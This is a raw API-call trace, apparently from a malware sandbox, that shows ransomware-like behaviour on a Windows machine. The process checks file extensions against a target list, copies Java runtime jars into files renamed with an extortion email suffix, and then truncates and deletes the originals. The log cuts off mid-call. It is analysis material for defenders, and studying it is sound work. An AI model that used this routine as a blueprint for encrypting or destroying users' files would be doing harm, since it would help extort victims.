lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0163.050] lstrlenW (lpString=".zip") returned 4 [0163.051] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0163.051] lstrlenW (lpString=".rar") returned 4 [0163.051] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0163.051] lstrlenW (lpString=".bz2") returned 4 [0163.051] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0163.051] lstrlenW (lpString=".7z") returned 3 [0163.051] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0163.051] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0163.051] lstrlenW (lpString=".dbf") returned 4 [0163.051] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0163.051] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0163.051] lstrlenW (lpString=".1cd") returned 4 [0163.051] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0163.051] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0163.051] lstrlenW (lpString=".jpg") returned 4 [0163.051] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0163.051] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0163.051] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0163.051] lstrlenW (lpString=".doc") returned 4 [0163.051] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0163.051] lstrlenW (lpString=".docx") returned 5 [0163.051] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0163.051] lstrlenW (lpString=".pdf") returned 4 [0163.051] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0163.051] lstrlenW (lpString=".xls") returned 4 [0163.051] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0163.052] lstrlenW (lpString=".xlsx") returned 5 [0163.052] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0163.052] lstrlenW (lpString=".ppt") returned 4 [0163.052] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0163.052] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0163.052] lstrlenW (lpString=".zip") returned 4 [0163.052] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0163.052] lstrlenW (lpString=".rar") returned 4 [0163.052] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0163.052] lstrlenW (lpString=".bz2") returned 4 [0163.052] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0163.052] lstrlenW (lpString=".7z") returned 3 [0163.052] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0163.052] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0163.052] lstrlenW (lpString=".dbf") returned 4 [0163.052] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0163.052] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0163.052] lstrlenW (lpString=".1cd") returned 4 [0163.052] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0163.052] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0163.052] lstrlenW (lpString=".jpg") returned 4 [0163.052] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0163.052] lstrcmpiW (lpString1=".jar", lpString2=".save") returned -1 [0163.053] lstrlenW (lpString="deploy.jar") returned 10 [0163.053] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0163.054] GetFileSizeEx (in: hFile=0x41c, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=5040094) returned 1 [0163.054] CloseHandle (hObject=0x41c) returned 1 [0163.054] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar")) returned 0x20 [0163.054] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0163.055] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar.id-b4197730.[seavays@aol.com].save")) returned 0 [0163.056] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0163.056] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0163.056] lstrlenW (lpString=".doc") returned 4 [0163.056] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0163.056] lstrlenW (lpString=".docx") returned 5 [0163.056] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1 [0163.056] lstrlenW (lpString=".pdf") returned 4 [0163.056] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0163.056] lstrlenW (lpString=".xls") returned 4 [0163.056] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0163.056] lstrlenW (lpString=".xlsx") returned 5 [0163.056] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1 [0163.056] lstrlenW (lpString=".ppt") returned 4 [0163.056] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0163.056] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0163.056] lstrlenW (lpString=".zip") returned 4 [0163.056] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0163.056] lstrlenW (lpString=".rar") returned 4 [0163.056] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0163.056] lstrlenW (lpString=".bz2") returned 4 [0163.056] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0163.056] lstrlenW (lpString=".7z") returned 3 [0163.056] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0163.056] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0163.056] lstrlenW (lpString=".dbf") returned 4 [0163.056] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0163.056] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0163.056] lstrlenW (lpString=".1cd") returned 4 [0163.056] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0163.056] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0163.056] lstrlenW (lpString=".jpg") returned 4 [0163.056] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0163.057] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0163.057] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0163.057] lstrlenW (lpString=".doc") returned 4 [0163.057] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0163.057] lstrlenW (lpString=".docx") returned 5 [0163.057] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1 [0163.057] lstrlenW (lpString=".pdf") returned 4 [0163.057] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0163.057] lstrlenW (lpString=".xls") returned 4 [0163.057] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0163.057] lstrlenW (lpString=".xlsx") returned 5 [0163.057] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1 [0163.057] lstrlenW (lpString=".ppt") returned 4 [0163.057] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0163.057] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0163.057] lstrlenW (lpString=".zip") returned 4 [0163.057] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0163.057] lstrlenW (lpString=".rar") returned 4 [0163.057] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0163.057] lstrlenW (lpString=".bz2") returned 4 [0163.057] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0163.057] lstrlenW (lpString=".7z") returned 3 [0163.057] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0163.057] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0163.057] lstrlenW (lpString=".dbf") returned 4 [0163.057] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0163.057] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0163.057] lstrlenW (lpString=".1cd") returned 4 [0163.057] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0163.057] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0163.057] lstrlenW (lpString=".jpg") returned 4 [0163.057] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0163.058] lstrcmpiW (lpString1=".jar", lpString2=".save") returned -1 [0163.058] lstrlenW (lpString="access-bridge-64.jar") returned 20 [0163.058] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0163.061] GetFileSizeEx (in: hFile=0x41c, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=188024) returned 1 [0163.061] CloseHandle (hObject=0x41c) returned 1 [0163.061] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar")) returned 0x20 [0163.061] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0163.061] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0163.062] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0163.062] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0163.062] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444 [0163.067] GetLastError () returned 0x0 [0163.067] ReadFile (in: hFile=0x41c, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x2de78, lpOverlapped=0x0) returned 1 [0163.080] WriteFile (in: hFile=0x444, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x2de80, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x2de80, lpOverlapped=0x0) returned 1 [0163.087] ReadFile (in: hFile=0x41c, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0163.087] WriteFile (in: hFile=0x444, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0xfc, lpOverlapped=0x0) returned 1 [0163.088] SetEndOfFile (hFile=0x444) returned 1 [0163.088] CloseHandle (hObject=0x444) returned 1 [0163.088] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0163.088] SetEndOfFile (hFile=0x41c) returned 1 [0163.403] CloseHandle (hObject=0x41c) returned 1 [0163.403] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0163.404] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar")) returned 1 [0163.405] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0163.405] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0163.405] lstrlenW (lpString=".doc") returned 4 [0163.405] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0163.405] lstrlenW (lpString=".docx") returned 5 [0163.405] lstrcmpiW (lpString1=".docx", lpString2="4.jar") returned -1 [0163.405] lstrlenW (lpString=".pdf") returned 4 [0163.405] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0163.405] lstrlenW (lpString=".xls") returned 4 [0163.405] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0163.405] lstrlenW (lpString=".xlsx") returned 5 [0163.405] lstrcmpiW (lpString1=".xlsx", lpString2="4.jar") returned -1 [0163.405] lstrlenW (lpString=".ppt") returned 4 [0163.405] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0163.405] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0163.405] lstrlenW (lpString=".zip") returned 4 [0163.405] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0163.405] lstrlenW (lpString=".rar") returned 4 [0163.405] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0163.405] lstrlenW (lpString=".bz2") returned 4 [0163.405] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0163.405] lstrlenW (lpString=".7z") returned 3 [0163.405] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0163.405] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0163.405] lstrlenW (lpString=".dbf") returned 4 [0163.405] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0163.405] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0163.406] lstrlenW (lpString=".1cd") returned 4 [0163.406] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0163.406] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0163.406] lstrlenW (lpString=".jpg") returned 4 [0163.406] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0163.406] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0163.406] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0163.406] lstrlenW (lpString=".doc") returned 4 [0163.406] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0163.406] lstrlenW (lpString=".docx") returned 5 [0163.406] lstrcmpiW (lpString1=".docx", lpString2="4.jar") returned -1 [0163.406] lstrlenW (lpString=".pdf") returned 4 [0163.406] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0163.406] lstrlenW (lpString=".xls") returned 4 [0163.406] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0163.406] lstrlenW (lpString=".xlsx") returned 5 [0163.406] lstrcmpiW (lpString1=".xlsx", lpString2="4.jar") returned -1 [0163.406] lstrlenW (lpString=".ppt") returned 4 [0163.406] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0163.406] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0163.406] lstrlenW (lpString=".zip") returned 4 [0163.406] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0163.406] lstrlenW (lpString=".rar") returned 4 [0163.406] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0163.406] lstrlenW (lpString=".bz2") returned 4 [0163.406] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0163.406] lstrlenW (lpString=".7z") returned 3 [0163.406] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0163.406] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0163.406] lstrlenW (lpString=".dbf") returned 4 [0163.406] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0163.406] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0163.406] lstrlenW (lpString=".1cd") returned 4 [0163.407] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0163.407] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0163.407] lstrlenW (lpString=".jpg") returned 4 [0163.407] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0163.407] lstrcmpiW (lpString1=".jar", lpString2=".save") returned -1 [0163.407] lstrlenW (lpString="sunmscapi.jar") returned 13 [0163.407] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0163.408] GetFileSizeEx (in: hFile=0x41c, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=32699) returned 1 [0163.408] CloseHandle (hObject=0x41c) returned 1 [0163.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar")) returned 0x20 [0163.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0163.408] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0163.408] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0163.408] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0163.408] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0163.409] GetLastError () returned 0x0 [0163.409] ReadFile (in: hFile=0x41c, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x7fbb, lpOverlapped=0x0) returned 1 [0163.412] WriteFile (in: hFile=0x454, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x7fc0, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x7fc0, lpOverlapped=0x0) returned 1 [0163.414] ReadFile (in: hFile=0x41c, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0163.414] WriteFile (in: hFile=0x454, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0xee, lpOverlapped=0x0) returned 1 [0163.414] SetEndOfFile (hFile=0x454) returned 1 [0163.414] CloseHandle (hObject=0x454) returned 1 [0163.414] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0163.414] SetEndOfFile (hFile=0x41c) returned 1 [0163.418] CloseHandle (hObject=0x41c) returned 1 [0163.418] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0163.418] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar")) returned 1 [0163.419] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0163.419] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0163.419] lstrlenW (lpString=".doc") returned 4 [0163.419] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0163.419] lstrlenW (lpString=".docx") returned 5 [0163.419] lstrcmpiW (lpString1=".docx", lpString2="i.jar") returned -1 [0163.419] lstrlenW (lpString=".pdf") returned 4 [0163.419] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0163.419] lstrlenW (lpString=".xls") returned 4 [0163.419] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0163.419] lstrlenW (lpString=".xlsx") returned 5 [0163.419] lstrcmpiW (lpString1=".xlsx", lpString2="i.jar") returned -1 [0163.419] lstrlenW (lpString=".ppt") returned 4 [0163.419] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0163.419] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0163.419] lstrlenW (lpString=".zip") returned 4 [0163.419] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0163.419] lstrlenW (lpString=".rar") returned 4 [0163.419] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0163.420] lstrlenW (lpString=".bz2") returned 4 [0163.420] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0163.420] lstrlenW (lpString=".7z") returned 3 [0163.420] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0163.420] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0163.420] lstrlenW (lpString=".dbf") returned 4 [0163.420] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0163.420] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0163.420] lstrlenW (lpString=".1cd") returned 4 [0163.420] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0163.420] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0163.420] lstrlenW (lpString=".jpg") returned 4 [0163.420] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0163.420] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0163.420] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0163.420] lstrlenW (lpString=".doc") returned 4 [0163.420] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0163.420] lstrlenW (lpString=".docx") returned 5 [0163.420] lstrcmpiW (lpString1=".docx", lpString2="i.jar") returned -1 [0163.420] lstrlenW (lpString=".pdf") returned 4 [0163.420] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0163.420] lstrlenW (lpString=".xls") returned 4 [0163.420] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0163.420] lstrlenW (lpString=".xlsx") returned 5 [0163.420] lstrcmpiW (lpString1=".xlsx", lpString2="i.jar") returned -1 [0163.420] lstrlenW (lpString=".ppt") returned 4 [0163.420] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0163.420] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0163.420] lstrlenW (lpString=".zip") returned 4 [0163.421] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0163.421] lstrlenW (lpString=".rar") returned 4 [0163.421] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0163.421] lstrlenW (lpString=".bz2") returned 4 [0163.421] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0163.421] lstrlenW (lpString=".7z") returned 3 [0163.421] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0163.421] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0163.421] lstrlenW (lpString=".dbf") returned 4 [0163.421] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0163.421] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0163.421] lstrlenW (lpString=".1cd") returned 4 [0163.421] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0163.421] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0163.421] lstrlenW (lpString=".jpg") returned 4 [0163.421] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0163.421] lstrcmpiW (lpString1=".jar", lpString2=".save") returned -1 [0163.421] lstrlenW (lpString="sunpkcs11.jar") returned 13 [0163.421] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar"), dwDesiredAccess=0x80000000, 